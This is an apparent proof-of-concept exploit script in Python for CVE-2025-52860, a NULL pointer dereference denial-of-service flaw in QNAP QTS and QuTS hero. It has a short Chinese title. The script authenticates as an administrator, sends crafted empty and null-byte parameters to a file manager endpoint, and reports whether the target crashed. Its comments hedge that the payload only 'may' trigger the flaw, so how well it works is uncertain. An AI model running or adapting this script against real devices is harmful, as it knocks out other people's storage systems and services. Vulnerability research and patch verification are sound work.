CVE-2025-52860：QNAP操作系统空指针解引用拒绝服务漏洞

# CVE-2025-52860 PoC - QNAP NULL Pointer Dereference DoS # Vulnerability: NULL Pointer Dereference in QNAP QTS / QuTS hero # Required: Valid administrator credentials # Target: QTS < 5.2.6.3195 build 20250715 # QuTS hero < h5.2.6.3195 build 20250715 import requests import sys from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings for self-signed certificates requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit_null_pointer_deref(target_url, username, password): """ Trigger NULL pointer dereference in vulnerable QNAP service by sending a crafted request as an authenticated administrator. """ session = requests.Session() # Step 1: Authenticate as administrator login_url = f"{target_url}/cgi-bin/authLogin.cgi" login_data = { "user": username, "pwd": password } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) if resp.status_code != 200: print(f"[-] Login failed with status: {resp.status_code}") return False print("[+] Administrator authentication successful") except Exception as e: print(f"[-] Connection error during login: {e}") return False # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable endpoint processes requests without proper NULL checks # on certain parameters, leading to a crash when dereferencing vulnerable_endpoint = f"{target_url}/cgi-bin/filemanager/index.html" # Crafted payload designed to trigger the NULL pointer dereference # by providing parameters that cause the server-side handler to # dereference an uninitialized/NULL pointer crafted_params = { "func": "get_listing", "path": "", # Empty path may trigger NULL pointer scenario "node": "", # Empty node parameter "type": "\x00" * 16 # Null bytes to trigger dereference issue } headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } try: resp = session.post(vulnerable_endpoint, data=crafted_params, headers=headers, verify=False, timeout=10) print(f"[+] Exploit request sent. Response code: {resp.status_code}") # Step 3: Verify service disruption try: check_resp = session.get(target_url, verify=False, timeout=5) if check_resp.status_code >= 500 or "error" in check_resp.text.lower(): print("[+] Target service appears to be disrupted (DoS achieved)") else: print("[*] Target may still be responsive, retry may be needed") except requests.exceptions.ConnectionError: print("[+] Target service is DOWN - DoS confirmed!") return True except requests.exceptions.ConnectionError: print("[+] Target service crashed - DoS confirmed!") return True except Exception as e: print(f"[*] Request result: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_url> <admin_user> <admin_password>") print(f"Example: {sys.argv[0]} https://192.168.1.100:8080 admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Targeting: {target}") print(f"[*] CVE-2025-52860 - QNAP NULL Pointer Dereference DoS") exploit_null_pointer_deref(target, user, pwd)